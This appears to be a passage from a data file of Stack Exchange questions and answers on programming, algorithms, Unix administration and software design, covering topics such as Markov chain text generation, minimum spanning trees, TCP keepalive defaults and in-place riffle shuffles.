:return:                self.words_list = get_word_list(self.filename)        self.starting_words.append(self.words_list[0])        for i in range(1, len(self.words_list) - 1):            if i < self.markov_length:                word_history = self.words_list[:i + 1]            elif i >= self.markov_length:                word_history = self.words_list[i - self.markov_length + 1:i + 1]            next_word = self.words_list[i + 1]            # if the last word was a period, add the next word to self.starting_word            if word_history[-1] == . and next_word not in list(PUNCTUATIONS):                self.starting_words.append(next_word)            self._build_middle_mapping(word_history, next_word)        self._normalise_mapping()    def _next(self, prev_list):        Decides on the next word to be selected for        :param prev_list:        :return: <str>                probabilty_sum = 0.0        next_word =         index = random.random()        # Shorten prevList until it's in mapping        while list_to_tuple(prev_list) not in self.final_mapping:            prev_list.pop(0)        # Get a random word from the mapping, given prevList        for k, v in self.final_mapping[list_to_tuple(prev_list)].items():            probabilty_sum += v            if probabilty_sum >= index and next_word == :                next_word = k                break        return next_word    def generate_sentence(self):        Returns a generic sentence using markov chains        :return: <str> Generated sentence                self._iterate_through_word_list()        # Start with a random starting word        current_word = random.choice(self.starting_words)        sent = current_word.capitalize()        prev_list = [current_word]        # Keep adding words until we hit a period        while (current_word != .):            current_word = self._next(prev_list)            prev_list.append(current_word)            # if the prevList has gotten too long, trim it            if len(prev_list) > self.markov_length:                prev_list.pop(0)            if (current_word not in list(.,!?;)):                sent +=    # Add spaces between words (but not punctuation)            sent += current_word        return sentEDIT: Github linkhttps://github.com/prodicus/markovipy"  , "title": "Sentence generation using Markov Chains"  , "tags": "python;markov chain"  } 
{  "id": "_cs.19049"  , "question": "For my homework I have a problem that I can't solve and it makes me wonder about 2 different MST:Let $G=(V,E)$ be a graph that has a minimum spanning tree $T$.I want to find another minimum spanning tree $T'$ that has at least 1 different edge $e'$  such that the weight of $e'$ is differ from any weight of edges in $T$.If $T'$ doesn't exist I can claim that every 2 different MST must have the same weight for each edge. My intuition says that this claim is wrong but on the other hand I can't find example of $T'$ to contradict this claim."  , "title": "Find a diffrent minimal spanning tree for a graph"  , "tags": "algorithms;graph theory;graphs;spanning trees"  , "accepted_answer": "You cannot find such a MST. Every two minimal spanning trees must have the same multiset of edge-weights.Actually you can find the proof in the link that Raphael added:Do the minimum spanning trees of a weighted graph have the same number of edges with a given weight?"  } 
{  "id": "_unix.40378"  , "question": "I'm working on a VPS which I can control with PuTTY and FreeNX.I don't have enough RAM for Gnome, so I want fluxbox to start by default instead of Gnome. how do I do that?"  , "title": "how do I enable fluxbox instead of Gnome by default in Ubuntu"  , "tags": "ubuntu;gnome;fluxbox"  } 
{  "id": "_cstheory.9186"  , "question": "Colloquially, the definition of the matrix-multiplication exponent $\\omega$ is the smallest value for which there is a known $n^{\\omega}$ matrix-multiplication algorithm. This is not acceptable as a formal mathematical definition, so I guess the technical definition is something like the infimum over all $t$ such that there exists a matrix-multiplication algorithm in $n^t$.In this case, we cannot say there is an algorithm for matrix-multiplication in $n^{\\omega}$ or even $n^{\\omega + o(1)}$, merely that for all $\\epsilon > 0$ there exists an algorithm in $n^{\\omega + \\epsilon}$. Often, however, papers and results which use matrix-multiplication will report their cost as simply $O(n^{\\omega})$.Is there some alternate definition of $\\omega$ that permits this usage? Are there any results that guarantee that an algorithm of time $n^{\\omega}$ or $n^{\\omega + o(1)}$ must exist? Or is the usage $O(n^{\\omega})$ simply sloppy?"  , "title": "Definition of matrix-multiplication exponent $\\omega$"  , "tags": "ds.algorithms;linear algebra"  } 
{  "id": "_unix.101193"  , "question": "I have Ubuntu installed on a Raspberry pi. I have a normal user pi, but I forgot the password. However, I do have root access.How would I change pi's password using root?"  , "title": "change regular user's password with root access"  , "tags": "ubuntu;password"  , "accepted_answer": "Simply do :passwd usernamein your case passwd pi"  } 
{  "id": "_unix.222538"  , "question": "I spent quite some time tracking down a problem in production recently, where a database server disappearing would cause a hang of up to 2 hours (long wait for a poll() call in the libpq client library) for a connected client. Digging into the problem, I realized that these kernel parameters should be adjusted way down in order for severed TCP connections to be noticed in a timely fashion:net.ipv4.tcp_keepalive_time = 7200net.ipv4.tcp_keepalive_probes = 9net.ipv4.tcp_keepalive_intvl = 75net.ipv4.tcp_retries2 = 15The four values above are from an Ubuntu 12.04 machine, and it looks like these defaults are unchanged from current Linux kernel defaults.These settings seem to be heavily biased towards keeping an existing connection open, and being extremely stingy with keepalive probes. AIUI, the default tcp_keepalive_time of 2 hours means when we're waiting for a response for a remote host, we will wait patiently for 2 hours before initiating a keepalive probe to verify our connection is still valid. And then, if the remote host does not respond to a keepalive probe, we retry those keepalive probes 9 times (tcp_keepalive_probes), spaced 75 seconds apart (tcp_keepalive_intvl), so that's an extra 11 minutes before we decide the connection is really dead.This matches what I've seen in the field: for example, if I start a psql session connected to a remote PostgreSQL instance, with some query waiting on a response, e.g.SELECT pg_sleep(30);and then have the remote server die a horrible death (e.g. drop traffic to that machine), I see my psql session waiting for up to 2 hours and 11 minutes before it figures out its connection is dead. As you might imagine, these default settings cause serious problems for code which we have talking to a database during, say, a database failover event. Turning these knobs down has helped a lot! And I see that I'm not alone in recommending these defaults be adjusted.So my questions are: How long have the defaults been like this?What was the original rationale for making these TCP settings the default?Do any Linux distros change these default values?And any other history or perspective on the rationale for these settings would be appreciated."  , "title": "How were these Linux TCP default settings decided?"  , "tags": "linux;tcp;history"  , "accepted_answer": "RFC 1122 specifies in section 4.2.3.6 that the keep-alive period must not default to less than two hours."  } 
{  "id": "_codereview.166038"  , "question": "I made a function that takes an argument x and returns True if x is a prime number and False if x is a non-prime number.I am a beginner and think the code can be improved. I had to add the else statement because for is_prime(2), I kept getting None instead of True. I think this was because when x is 2, list_n = range(2,2) prints []. Are there ways I could change this so there is not a separate else statement?def is_prime(x):    list_n = range(2,x)    if x <= 1:        return False    elif x-1>2:        for n in range(len(list_n)):            list_n[n] = x % list_n[n]        for n in list_n:            if n == 0:                return False        for n in list_n:            if n > 0:                return True    else:        return True"  , "title": "Determine if number is a prime number"  , "tags": "python;beginner;primes"  } 
{  "id": "_unix.367641"  , "question": "I have a lot of music in a tree under one directory, saved in whatever format I initially got it in, for quality. I have a second directory tree which is similar in structure, but with all files in a lossy-compressed format playable by my phone, and with occasional metadata changes (e.g. removing embedded covers to save space).It occurs to me that for a significant portion of the music, there is no difference between the two instances - generally when the distributed version was only available as mp3/ogg and didn't have embedded covers. Hard drive space may be cheap, but that's no reason to waste it. Is there a way to script:Check for identical files in two directoriesWhenever identical files are found, replace one with a hardlink to the otherWithout e.g. taking the time to get a full diff, in the interest of timeBut still without the risk of accidentally deleting a copy of two non-identical files, which is a remote but nonzero chance if I were to e.g. just compare hashes?"  , "title": "Convert identical files to hardlinks"  , "tags": "files;diff;hard link;hashsum;disk cleanup"  } 
{  "id": "_unix.205428"  , "question": "I just bought a raspberry pi and want to start using it as a NAS. I'm fairly new to this, but I've gotten this far..I've got an external hard drive (freshly formatted NTFS) connected with a USB cable to my raspberry pi and am connected through SSH terminal (I dont have an external display to use).Everytime my pi reboots I have to remount the drive in order to use it. I added this line to /etc/fstab file /dev/sda1   /media/NAS      ntfs-3g    defaults 0       0For as far as I understand, thats all I need to make my raspberry pi auto mount my USB hard drive as soon as it reboots.What am I doing wrong?"  , "title": "USB hard drive doesn't auto mount"  , "tags": "automounting"  } 
{  "id": "_cs.40275"  , "question": "Given an un-rooted tree with N nodes, numbered from 1 to N. Each edge of the tree has a positive integer, associated with it. We need to calculate the number of unordered pairs (S, T) of tree's nodes such that the greatest common divisor of all the integers associated with the edges of the path between S and T is equal to one. Of course, we consider only the pairs where S isn't equal to T.But main problem is N (Number of nodes in tree is 100000) So is their any better solution than O(N^2) as I currently have O(N^2) approach to do this problem using LCA between 2 nodes of tree.So given a tree with N nodes and N-1 edges can we have a better algorithm ?"  , "title": "Count pairs of nodes in a tree that are connected by a path whose labels have gcd 1"  , "tags": "algorithms;trees;counting"  } 
{  "id": "_cstheory.5695"  , "question": "One of the amazing things about computer science is that the physical implementation is in some sense irrelevant.People have successfully built computers out of several different substrates -- relays, vacuum tubes, discrete transistors, etc.People may soon succeed in building Turing-complete computers out of non-linear optical materials, various biomolecules, and a few other substrates.In principle, it seems possible to build a billiard-ball computer.However, the physical substrate is not completely irrelevant.People have found that certain sets of components -- in particular,diode-resistor logic --are incomplete: no matter how many of them you connect to a power supply and to each other, there are certain very simple things that it cannot do.(The diode-resistor logic can implement AND, OR, but fails to implement NOT).Also, certain ways of connecting components -- in particular, single-layer perceptrons -- are incomplete: there are certain very simple things that they cannot do.(A single-layer perceptron can implement AND, OR, NOT, but fails to implement XOR).Is there a less-awkward phrase for physical things out of which one can build a Turing machine?Or for the opposite, physical things that, no matter how many of them one has, cannot form a Turing machine?For a while I used the phrase functionally complete set or universal set of gates -- or, when speaking to mathematicians, physical things that can implement a functionally complete set -- but I've been told that isn't quite correct.Some sets of components can implement a functionally complete set;and yet it is not possible to build a Turing-complete machine entirely out of these components.For example, light bulbs and manually-operated 4-way light switches can implement a functionally complete set (AND, OR, NOT, XOR, etc.);and yet it is not possible to build a Turing-complete machine entirely out of light switches and light bulbs, since the (electrical or optical) output of one cannot be fed into the (mechanically rotating) input of the next.related: Is there an official name for a notion of reusably universal? and Is there a name for chips out of which one can build a CPU?"  , "title": "Is there a name for physical things out of which one can build a Turing machine?"  , "tags": "computability;turing machines;terminology;physics;natural computing"  , "accepted_answer": "I believe an appropriate term is a Turing Machine physical implementation.The main problem with any implementation is how to provide infinite tape or in a more abstract level, infinite memory. An easy solution to this problem is to use a special symbol to indicate the last tape square. When a Turing Machine reaches it, it enters a special state which requires user intervention, who is supplying extra tape. Then, the TM can continue its operation. Unfortunately, such implementations being physical involve physics. If the universe is finite and due to the Planck scale, there is a finite amount of tape available. This is where problems arise that perhaps cannot be answered by computer scientists but by physicists. Note that physicists have not reached a conclusion on those matters, which are considered major open problems of the magnitude of $P \\neq NP$, so it would be unlikely that a computer scientist would resolve them.You can read more in Scott Aaronson's paper NP-complete Problems and Physical Reality , especially in the Analog and Relativity computing section.You can also find a lego implementation (with finite tape) in the following page: http://legoofdoom.blogspot.com/"  } 
{  "id": "_softwareengineering.147698"  , "question": "I have read different opinions about the singleton pattern.Some maintain that it should be avoided at all costs and othersthat it can be be useful in certain situations.One situation in which I use singletons is when I need a factory(let's say an object f of type F) to create objects of a certain class A.The factory is created once using some configuration parameters and thenis used each time an object of type A is instantiated. So every part ofthe code that wants to instantiate A fetches the singleton f and createthe new instance, e.g.F& f                   = F::instance();boost::shared_ptr<A> a = f.createA();So the general my scenario is thatI need only one instance of a class either for optimization reasons (I do not need multiple factory objects) or for sharing common state (e.g. the factory knows how many instances of A it can still create)I need a way to have access to this instance f of F in different places of the code.I am not interested in the discussion whether this pattern is good or bad,but assuming I want to avoid using a singleton, what other pattern can I use?The ideas I had were (1) to get the factory object from a registry or(2) to create the factory at some point during program start up and thenpass the factory around as a parameter.In solution (1), the registry itself is a singleton, so I have just shiftedthe problem of not using a singleton from the factory to the registry.In case (2) I need some initial source (object) from which the factory objectcomes so I am afraid that I would again fall back to another singleton(the object that provides my factory instance).By following back this chain of singletons I can maybe reduce the problemto one singleton (the whole application) by which all other singletonsare directly or indirectly managed.Would this last option (using one initial singleton that creates all otherunique objects and injects all other singletons at the rightplaces) be an acceptable solution?Is this the solution that is implicitly suggested when one advises not touse singletons, or what are other solutions, e.g. inthe example illustrated above?EDITSince I think the point of my question has been misunderstood by some,here is some more information. As explained e.g. here, the wordsingleton can indicate (a) a class with a single instance object and(b) a design pattern used to create and access such an object.To make things clearer let us use the term unique object for (a) andsingleton pattern for (b). So, I know what the singleton patternand dependency injection are (BTW, lately I've been using DI heavilyto remove instances of the singleton pattern from some code I am working on).My point is that unless the whole object graph is instantiated froma single object living on the stack of the main method, there will always bethe need to access some unique objects through the singleton pattern.My question is whether having the complete object graph creation andwiring depend on the main method (e.g. through some powerful DI frameworkthat does not use the pattern itself) is the onlysingleton-pattern free solution."  , "title": "Alternatives to the singleton pattern"  , "tags": "design patterns;programming practices;anti patterns;singleton"  , "accepted_answer": "Your second option is a fine way to go -- it's a kind of dependency injection, which is the pattern used to share state across your program when you want to avoid singletons and global variables.You can't get around the fact that something has to create your factory. If that something happens to be the application, so be it. The important point is that your factory shouldn't care what object created it, and the objects that receive the factory shouldn't depend on where the factory came from. Don't have your objects get a pointer to the application singleton and ask it for the factory; have your application create the factory and give it to those objects that will need it."  } 
{  "id": "_softwareengineering.326135"  , "question": "I have some SQL commands that I am trying to figure out the best way to have them in code so that:1. They are very readable2. They would be easy to update3. They won't be performance overhead due to many string construction.  I have something like the following that did not turn out too good.      public class SQLHandler {        private static final String CUSTOMER_TABLE = customer_table;        private static final String CUSTOMER_ID = id;        private static final String CUSTOMER_FIRST_NAME = first_name;          private static final String CUSTOMER_LAST_NAME = last_name;       private static final String CUSTOMER_TELEPHONE = customer_telephone;        private static final String REP_ID = customer_representative_id;          private static final String REP_TABLE = representative_table;        private static final String REP_ID = id;        private static final String REP_FIRST_NAME = first_name;          private static final String LAST_LAST_NAME = last_name;       private static final String DEPT_ID = rep_dep_id;        public static ArrayList<Representatives> getRepresentatives(int customerId) {         StringBuilder sb = new StringBuilder();       sb.append(SELECT)          .append(REP_TABLE).append(.).append(REP_ID)         .append(,)          .append(REP_TABLE)         .append(.)          .append(REP_FIRST_NAME).append( FROM)       .append(CUSTOMER_TABLE).append( JOIN ).append(REP_TABLE)          .append(ON).append(REP_TABLE).append(.)            .append(REP_ID).append(=).append(CUSTOMER_TABLE)          .append(.).append(REP_ID)        .append( AND)        .append(CUSTOMER_TABLE).append(.).append(CUSTOMER_ID)         .append(=).append(String.valueOf(customerId));      // do query      }   } As you can see none of the (3) are met.I can't easily update the query and if I saw it again I wouldn't remember exactly what was it.How can I improve this? (Couldn't format it properly in post)"  , "title": "How to create multiline strings for sql queries that are readable, maintainable and fast?"  , "tags": "java;performance;clean code;strings"  } 
{  "id": "_vi.3814"  , "question": "I recently realized that my vimrc is now more than 400 lines long (which IMO is too much I'll try to reduce that) and to make it easier to navigate, read and edit it I decided to investigate the concept of folding in vim (which I wasn't familiar with).I tried to set the folding method to indent but I didn't like the result (It was too messy mostly because a great part of my vimrc isn't really indented). I also tried to set foldmethod to expr and syntax but I wasn't able to fold anything properly.Here using diff as folding method doesn't seem relevant. (Or if it is I didn't understand how to use it)So for now I'm using the marker method which doesn't totally satisfy me because of the {{{ and }}} markers which I found noisy in the file.So I'd like to know if there are best practices or common guidelines about properly folding a vimrc. Note 1: As we all know SO isn't a forum and isn't made to collect personal opinions and that's not what I'm looking for: of course I guess some people has their preferences but I'd like to know why using markers (for example) improves the readability more than using indent.Note 2: Also my main goal is to make my vimrc as clear as possible so if other best practices exists to create a nice vimrc I'm curious about it.Edit 1: I should have precised that my vimrc is already subdivided in sections (and sometimes subsection) the main ones being general optionsplugins (containing a subsection for each plugin and its configuration)mappingsnavigation (also containing subsection)coloretc...And it's this structure which made me thought of folding: I feel that being able to output only the section I'm interested in at a certain point is something pretty convenient.Edit 2: Answer mentioning subdivisions of the vimrc in several files are valid, but as a personal preference I'd rather use folding because I think it is easier to maintain only one file in the git repo containing my dotfiles. That is only a personal preference and I'm aware that is it possible to also use this approach but I'd prefer to use folding."  , "title": "Is there a best practice to fold a vimrc file"  , "tags": "vimrc;folding"  } 
{  "id": "_unix.184749"  , "question": "I will need to install a custom application as a service on a RHEL 6.2 box this weekend. Will I be able to do this with sudoer powers or will I need the root password for anything?"  , "title": "Will I be able to install a service as a sudoer?"  , "tags": "rhel;sudo;root;services"  } 
{  "id": "_reverseengineering.8911"  , "question": "I've written a simple code to get a student information like name and ID, but in the code when I want to get input the interrupt doesn't work I mean int 21h/ah=0AhIt pauses when the interrupt is reached but just accepts Enter from keyboard not any number or characters, here my code :stack segment     dw 128 dup (?)stack endsdata segment     name0 db 30,?,30 dup('$')    id0 db 10,?,10 dup('$')     menu db 1-Enter student name:,0Dh,0Ah    db 2-Enter student ID:,0Dh,0Ah    db 3-Printing the student name and ID:,0Dh,0Ah,    db 4-Exit,0Dh,0Ah    db Please Select :,'$'    selection db 1,?,4    show0 db (s)he is ,'$'    show1 db  his/her ID ,'$'   ; address1 db 2 dup(?)   ; address2 db 2 dup(?)data ends    code segmentstart:; set segment registers:    mov ax, data    mov ds, ax    ;mov ax, data1    mov es, ax    push bp    mov bp,sp                  xor cx,cxloop1:    ;cx is reserved    push offset menu    call print    lea dx,selection       mov ah,0Ah    int 21h         ; <----- doesn't work     lea bx,selection    mov cl,[bx+2]    cmp cl,1    je getname_scope    cmp cl,2    je getid_scope    cmp cl,3    je showinforet0:               cmp cl,4    jne loop1    jmp exit            getname_scope:                mov bx, offset name0                push bx                call Get            jmp ret0            getid_scope:                lea bx,id0                push bx                call Get                jmp ret0               showinfo:                push offset show0                call print                push offset name0+2                call print                push offset show1                call print                 push offset id0+2                call print            jmp ret0exit:       ; wait for any key....        mov ah, 1    int 21h    pop bp    mov ax, 4c00h ; exit to operating system.    int 21h    code endsproc Get near    push bp    mov bp,sp    lea dx,[bp+4]    mov ah,0Ah    int 21h    pop bp    retGet endpproc print near    push bp    mov bp,sp    mov dx,[bp+4]    mov ah, 9    int 21h    pop bp  ret     end start ; set entry point and stop the assembler.what's wrong with the code ? how to "  , "title": "Why int 21h/ ah=0Ah doesn't work in emu86"  , "tags": "assembly"  } 
{  "id": "_softwareengineering.66740"  , "question": "What language should I seek to learn if I would like to develop for Windows? Not command-line stuff (obviously, I guess) but with Windows Forms and such? I've used C before (when working with Rockbox), but that's it. Up until now, I've used Autoit (for basic, simple stuff), but I'm looking for something that has more flexibility and is popular inside of the PC software industry. Plus, I didn't like how easy it was to crack Autoit programs. I'm also a web developer/designer, just to throw that out there.Thanks in advance!"  , "title": "What language should I seek to learn if I would like to develop for Windows?"  , "tags": "programming languages;windows"  , "accepted_answer": "C#I recommend C# as the language to learn.  The syntax is C-like, which will help you get started.The language is object-oriented, and it's good to learn that way of thinking.Visual Studio Express is a free download, so it doesn't cost much to start.There are lots of open source projects in C# to look at and learn from.It's applicable to web-sites or standalone applications.If you want to get funky, there are lots of nice features to the language, like lambdas to bend your mind."  } 
{  "id": "_codereview.93147"  , "question": "I am programming a graphical text adventure using python. The game is playable, but I am not sure whether the code is well-suited for newcomers (code smells / quirks / general readability). Here's the main script:import timeimport sysimport printerfrom rooms import *from _player import PlayerVER = 0.01SCENES = {0 : Lobby(),          1 : LivingRoom(),          2 : Bathroom()}player = Player()def run(start_at=None):    Starts the game    if not start_at:        scene = SCENES[0]    else:        scene = SCENES[start_at]    scene.init_player(player)    while 1:        new_scene = scene.run()        if new_scene != None:            scene = SCENES[new_scene]            scene.init_player(player)if __name__ == __main__:    run()"  , "title": "Run loop for a text-based adventure game"  , "tags": "python;adventure game"  } 
{  "id": "_unix.261121"  , "question": "Everywhere I look I see that screen is for keeping a session open so that you can come back to it after disconnection.  But this doesn't seem to be the case for a system that I ssh to.  Do I understand correctly, that the sysadmins have crippled nohup and screen?  Is there a way to circumvent this?Here is a test I did (perhaps the problem is me):mira1:~> screen -S test  COMMENT: I did ctrl-a ctrl-d[detached from 54211.test]mira1:~> logoutConnection to mira1.**** closed.me:~ me$ ssh me@mira1.***Last login: Tue Feb  9 23:21:57 2016 from client*****mira1:~> screen -lsNo Sockets found in /var/run/screen/S-me.Edit:The screen is still there after detaching it and before logging out.  As in:mira1:~> screen -S test[detached from 59923.test]mira1:~> ls -ltr /var/run/screen/S-me/total 0prw------- 1 me URP_dse 0 Feb  9 23:39 59923.testmira1:~> Edit 2 for Gile's questions:Here is ssh session #1mira1:~> screen -lsThere is a screen on:    59923.test  (09/02/16 23:39:26) (Detached)1 Socket in /var/run/screen/S-me.mira1:~> screen -r[detached from 59923.test]ssh session #2mira1:~> screen -lsThere is a screen on:    59923.test  (09/02/16 23:39:26) (Detached)1 Socket in /var/run/screen/S-me.ssh sesssion #1 againmira1:~> logoutConnection to mira1.**** closed.client-10-129-225-10:~ me$ ssh session #2 again (screen gone)mira1:~> screen -lsNo Sockets found in /var/run/screen/S-me."  , "title": "Circumvent deletion of screen session and nohup processes on logout"  , "tags": "ssh;gnu screen;nohup"  } 
{  "id": "_softwareengineering.309565"  , "question": "I am working on a C# programming project in Visual Studio. I have created various VS library projects inside the VS solution containing the various components of the solution. Without giving it too much thought, I have put the factories for these components into their corresponding VS projects.I have now needed to reuse one of these components inside another VS solution and realized that having the factory inside the components VS project may not be the correct way, since in the new project I have different requirements for the factory to construct the object (e.g. parameters, etc.). So this would suggest, that the factory should not form part of the components VS project.On the other hand factories appear to be very closely bound to the components/objects they construct. For me this raises the question, where I should put them:Should factories be part of the solution using the components library or should it be part of the library?"  , "title": "Project structure: Where to put object factories"  , "tags": "c#;visual studio;factory"  , "accepted_answer": "TLDRIt depends on how configurable and extendable you want to have the reusable library (project), without touching it.In the end you either have factories in the library itself, or the library does not have them and the client (the user) of the library is responsible for creating them and instantiating the library himself.Longer answerNo matter how object oriented your code is, a part of OO code will always have to be procedural. The part where the object graph is constructed, the newing of the classes.When dealing with construction of classes belonging to another project (this will usually be some common library which contains code useful throughout more projects), you usually have two options how to expose the project to the outer world.For this demostration purpose I chose the cache layer, which, from my experience, usually has very similar API throghout many different projects, only the configuration is different.1. Creating a public endpoint of the library to expose itIf you were to follow this ideology, all the classes inside your cache library project would be set to internal except one class, perhaps a YourNamespace.Library.Cache class, which would be set to public, thus if you were to use the cache library, the only class you would have publicly access to is one single endpoint.The YourNamespace.Library.Cache class constructor could look like this:public class Cache : CachingInterface{    public Cache(string configuration)    {        // this is where the magic happens    }}Not saying very much, is it? What exactly is the magic I am talking about?Notice the configuration string as a parameter. It is a variable in which you define what you want to have, you insert your configuration, and this one public endpoint, the YourNamespace.Library.Cache class, will, in its constructor, parse this string, extract the data it needs from it, and based on the user input construct everything necessary.Inside this constructor the Cache endpoint will instantiate the factories belonging to the cache project, it will the use those to instantiate the correct implementations.In your main project, the code then could be as simple as this:var cache = new YourNamespace.Library.Cache(type:redis,connection:[schema:tcp,host:localhost,port:3000,database:master],options:[replication:true]);By parsing the string, the constructor will then see, you want to cache to redis, and provided the configuration, it will use the configuration and pass it onto the internal classes of the cache library, which know what to do with it.Be aware the configuration does not need to be a string, you may use  whatever you want.The placement of the factoriesWhen using this approach, the factories are inside the cache project. In fact, the one public endpoint, the Cache class, acts as a factory itself.The project itself calls new on desired object based on the configuration string and after the construction of the endpoint, should it not throw an exception, you are set to use all the functionality of the library.The goodthe construction of a very complex library is simplified to one single endpoint, which only requires some configuration (be it a string, an array,...) described in documentationyou do not expose the internal parts of the library, so as long as you do not change the endpoint, you can optimize it, release new versions and the clients of this library need not to change anything in their codeThe badif someone uses your library and wants to add his custom caching mechanism (perhaps a faster Redis driver or a completely new caching mechanism), he has to contact the owner of the library the add ityou need to create thorough documentation, so people know, how to use the endpoint and what configuration it offers2. Exposing everything inside the library and letting the client of the library decide what he wants to constructUsing this approach, (almost) all classes inside the cache library will be set to public, all  the interfaces, all the implementations, everything.Besides the unit tests part of the cache library, there will probably be no usage of the new keyword inside the cache library. The library itself will not construct anything, it will only provide constructors and methods with predefined types of parameters, to let you know which exact class you will need if you want to instantiate a class.The placement of the factoriesConsidering the cache library itself does not construct anything, the only place where you will have the factories is your main project, or the project of the client using the library.The client himself will be responsible for constructing the object graph, by newing the dependencies, until he creates the final object representing the cache itself.The goodthe library is very easily extendable by the end user, would he want to use some custom implementation of a part of the library, he simply needs to adhere to the contract presented by the type of an object a class requires for its construction, perhaps by implementing an interface or extending a classthe creator of the library itself does not need to create a lot of documentation describing the construction, because by following the dependency injection principle, it is always pretty clear, which other classes you need in order to construct the class you desirethe client may very easily manipulate concrete implementations to make the library suitable for the project he is using it inThe badthe construction in client code may become (really) uglyYou are likely to see something like this in the client code:var depOne = new One();var depTwo = new Two(depOne);var depThree = new Three(depTwo);var depFour = new Four(depThree);// ...var depTwentySeven = new TwentySeven(depTwentySix);var cache = new Cache(depTwentySeven);This is an extreme example, the amount of dependencies would probably vary, based on the type of cache you would like to construct, but it can happen.because the client is responsible for creating all the dependencies, some of them may use the first pattern I am describing in this example for construction, meaning the client of the cache library is forced to check the documentation of the third party library to know how he is supposed to construct the dependency for the cache library.SummaryBefore diving in, you should decide, what it is you want.If you want to encapsulate the library and want to have it its own environment and hide its complexity behind a simple abstraction layer, I would say go with a variation the first approach.I would also use the first approach when I wanted to reflect all the internal changes in the library in all the projects where the library is used.If you want the library to be easily extendable and you are likely to provide custom implementations, go with approach number two, where the library is not responsible for the construction, but gives clues on how the construction should happen.But be aware, that change in the library will most likely need more change in the client code.There is also always the third approach, which is a result of combining the first and second together, where then there are factories in both the library itself and also the client code."  } 
{  "id": "_codereview.157562"  , "question": "Just looking for some feedback regarding how to optimize my code.  It works, but just want some feedback on how to improve the solution.Requirements:Prompt for and read a number between 1 and 5. Repeat this step until the input is 1..5.Repeat the following multiple times according to the number read in step 1.a. Read in a list of integers ending with a 0. The 0 marks the end ofthe input and is not considered part of the listb. Print the largest and smallest integers in the list.c. If only a    zero appears in the list, print an error messageCODE:import java.util.ArrayList;import java.util.Collections;import java.util.Scanner;public class SIMPLE_NUMBER_PROGRAM {    public static void main(String[] args) {        int input = prompt();        ArrayList<Integer> inputList;        inputList = new ArrayList();        Integer min;        Integer max;        if (input == 0 && inputList.isEmpty()) {            System.out.println(error: empty list!);        } else {            while (input < 1 && input != 0 || input > 5 && input != 0) {                input = prompt();            }            while (input >= 1 && input <= 5) {                inputList.add(input);                input = prompt();            }            min = Collections.min(inputList);            max = Collections.max(inputList);            System.out.println(Min:  + min + \\n + Max:  + max);        }    }    private static int prompt() {        Scanner sc = new Scanner(System.in);        System.out.println(Enter a number: );        return sc.nextInt();    }}"  , "title": "Read numbers between 1 and 5, then print the minimum and maximum"  , "tags": "java;beginner"  , "accepted_answer": "You really only need 1 while loop that loops on the condition that your input != 0. Then as you get your input you either add it to your list if the input is between 1-5, ignore all other values and when a 0 is entered the looping exits and you can determine max,min if possible. Try this    ArrayList<Integer> inputList = new ArrayList();    Integer min;    Integer max;    int input = -1;    while(input != 0)    {        input = prompt();        if(input > 0 && input < 6)        {            inputList.add(input);        }    }    if(inputList.size() == 0)        System.out.print(Error, No Valid Numbers Entered);    else    {        min = Collections.min(inputList);        max = Collections.max(inputList);        System.out.println(Min:  + min + \\n + Max:  + max);    }"  } 
{  "id": "_webapps.31284"  , "question": "I just had this question. The title really just says it allif I import email from another account (not a Gmail one) into Gmail, will old sent email also get imported? And will it appear as sent in Gmail?"  , "title": "If I import email from another email account into Gmail, will sent email also be imported? And will appear as sent in Gmail?"  , "tags": "gmail;email;import"  } 
{  "id": "_cstheory.13943"  , "question": "Is there a linear time in-place riffle shuffle algorithm? This is the algorithm that some especially dextrous hands are capable of performing: evenly dividing an even-sized input array, and then interleaving the elements of the two halves.Mathworld has a brief page on riffle shuffle. In particular, I'm interested in the out-shuffle variety which transforms the input array 1 2 3 4 5 6 into 1 4 2 5 3 6. Note that in their definition, the input length is $2n$.It's straightforward to perform this in linear time if we've got a second array of size $n$ or more handy. First copy the last $n$ elements to the array. Then, assuming 0-based indexing, copy the first $n$ elements from indices $[0,1,2,...,n-1]$ to $[0, 2, 4,...,2n-2]$. Then copy the $n$ elements from the second array back to the input array, mapping indices $[0,1,2,...,n-1]$ to $[1,3,5,...,2n-1]$. (We can do slightly less work than that, because the first and last elements in the input do not move.)One way of attempting to do this in-place involves the decomposition of the permutation into disjoint cycles, and then rearranging the elements according to each cycle. Again, assuming 0-based indexing, the permutation involved in the 6 element case is$$\\sigma=\\begin{pmatrix} 0 & 1 & 2 & 3 & 4 & 5 \\\\0 & 2 & 4 & 1 & 3 & 5\\end{pmatrix}=\\begin{pmatrix}0 \\end{pmatrix} \\begin{pmatrix}5 \\end{pmatrix} \\begin{pmatrix}1 & 2 & 4 &3 \\end{pmatrix}.$$As expected, the first and last elements are fixed points, and if we permute the middle 4 elements we get the expected outcome.Unfortunately, my understanding of the mathematics of permutations (and their $\\LaTeX$) is mostly based on wikipedia, and I don't know if this can be done in linear time. Maybe the permutations involved in this shuffling can be quickly decomposed? Also, we don't even need the complete decomposition. Just determining a single element of each of the disjoint cycles would suffice, since we can reconstruct the cycle from one of its elements. Maybe a completely different approach is required.Good resources on the related mathematics are just as valuable as an algorithm. Thanks!"  , "title": "Linear time in-place riffle shuffle algorithm"  , "tags": "ds.algorithms;time complexity"  , "accepted_answer": "The problem is surprisingly non-trivial. Here is a nice solution by Ellis and Markov, In-Situ, Stable Merging by way of the Perfect Shuffle (section 7). Ellis, Krahn and Fan, Computing the Cycles in the Perfect Shuffle Permutation succeed in selecting cycle leaders, at the expense of more memory. Also related is the nice paper by Fich, Munro and Poblete, Permuting In Place, which gives a general $O(n\\log n)$ time algorithm for the oracle model. If only an oracle for the permutation is available, the algorithm requires logarithmic space; if we also have an oracle for the inverse, it requires constant space.Now for Ellis and Markov's solution. First, suppose $n = x+y$. Then computing the perfect shuffle of order $n$ reduces to computing the perfect shuffle of orders $x$ and $y$, with a rotation preceding them. Here is a proof by example ($n=5$, $x=3$, $y=2$):$$\\begin{array}{cc}012\\mathbf{345} & \\mathbf{67}89 \\\\012\\mathbf{567} & \\mathbf{34}89 \\\\051627 & 3849\\end{array}$$Ellis and Markov found an easy way to compute the perfect shuffle when $n=2^k$, using constant space and linear time. Using this, we obtain an algorithm for computing the perfect shuffle for arbitrary $n$. First, write $n = 2^{k_0} + \\cdots + 2^{k_w}$ using the binary encoding of $n$, and let $n_i = 2^{k_i} + \\cdots + 2^{k_w}$. Rotate the middle $n_0$ bits, shuffle the right-hand $2^{k_0}$ bits. Ignoring the righthand $2^{k_0}$ bits, rotate the middle $n_1$ bits, and shuffle the right-hand $2^{k_1}$ bits. And so on. Note that rotation is easy since the 